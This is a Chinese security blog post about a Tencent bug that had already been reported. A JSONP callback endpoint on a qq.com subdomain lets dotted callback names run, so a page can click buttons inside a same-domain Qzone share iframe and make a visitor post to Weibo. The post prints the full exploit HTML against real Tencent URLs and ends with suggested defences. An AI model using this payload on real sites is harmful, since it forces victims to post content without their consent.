最新消息:

绕过csrf防护让qq用户发微薄的

CSRF admin 1191浏览 0评论

今天扯淡一种另类的csrf:通过低敏感度,所以没有csrf防护的页面,来操作高敏感度的页面,比如微薄加粉,发微薄云云。

/* 无耻的小注释
这个问题已经在腾讯漏洞报告平台报告,觉得比较好玩,故扯出来发到zone里,让大家乐乐。
腾讯这样的忽略点应该不少,大家可以再挖挖。
*/

话说某个月高风黑,伸手不见黑夜的五指,菜逼哥正蛋疼的挖着tx的洞,为了换几个公仔给妹纸逗乐,下意识地在火狐界面下按下了F12。
据某XX的经验,那些看得见的页面,屌丝程序猿们基本都有防护,那些看不见得地方最容易出问题。在web2.0的今天,界面上最看不见的东西是什么,那当然各种回调了。所以按F12找各种json、callback,无往不利。

就在菜逼哥按下F12的那个时刻,一个网址映入菜逼哥的眼帘:
http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=callback
于是,熟练的手起刀落,查看起源代码:
<script type="text/javascript">
<!--
document.domain='qq.com';
try {
callback({'cmd':'login', 'result':0});
} catch (e) {}
//-->
</script>

呵呵,又一个写在<script>标签中的回调。各位现在可以尽情的fuzz一下,此处回调对回调名字过滤甚是严格,只允许a-zA-Z0-9[]'”.这些字符。妄图alert(/hacked by 路人甲@wooyun/)的希望都破灭了
似乎没戏了,不过,似乎,总感觉哪里不太对劲的样子。。。。

仔细琢磨琢磨。。。。
利用点
似乎

出在
那个
小数点上

著名的“风骚爱情湿人学者”韩寒童鞋曾经曰过,什么叫现代湿,把散文拆开,分行来写就对了。
菜逼哥一直对那些会写湿的人很仰慕,就也附庸风雅,写了上面这一小段,大家凑合着看看?

大胆假设一下,如果callback的取值是parent.iframe_id.element_id.click,那么位于父页面中,iframe引用了与其同域的页面中的元素、函数这些东西,会不会触发、调用呢?
一个声音高叫着:答案是有的

既然答案是有的,菜逼哥我就不罗嗦了,先放出利用代码再说吧:
<html><body>
<script>
function step1(){
var obj=document.createElement("iframe");
obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.web_weibo.click";
document.body.appendChild(obj);
setTimeout("step2();",100);
}
function step2(){
var obj=document.createElement("iframe");
obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.postButton.click";
document.body.appendChild(obj);
}
</script>
<iframe id='xx' name='xx' src='http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/' onload="javascript:step1();" width="1000" height="1000" ></iframe>
</body></html>

http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/
这个页面是qq空间的一键分享网址的页面,访问下就会看到,页面左下角有一个同时转发到微薄云云。
然后呢,代码应该也不需要解释了,大家都看得懂。

这样的问题说大不大,说小不小,关键就看到被操作页面有没有敏感的函数、元素可以被调用了。
防范的话,应该也是比较简单的,在操作原页面做普通的csrf防护:加token也好,referer判断也行;
原页面限制下小数点出现的次数:比如http://e.qq.com/ec/verifymail.php?script&callback=parent.xx这个页面,只允许使用一个小数点,那几乎就没什么想法了。如果有哪位大犇有利用思路,欢迎回帖指出。
被操作页面判断top.location,parent.location是否为可信域名下的页面:这个可能容易疏漏。whatever,也是一种限制被利用的方式

最后给两个效果图吧

2013042617382326760

2013042617385172587

转载请注明:jinglingshu的博客 » 绕过csrf防护让qq用户发微薄的


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址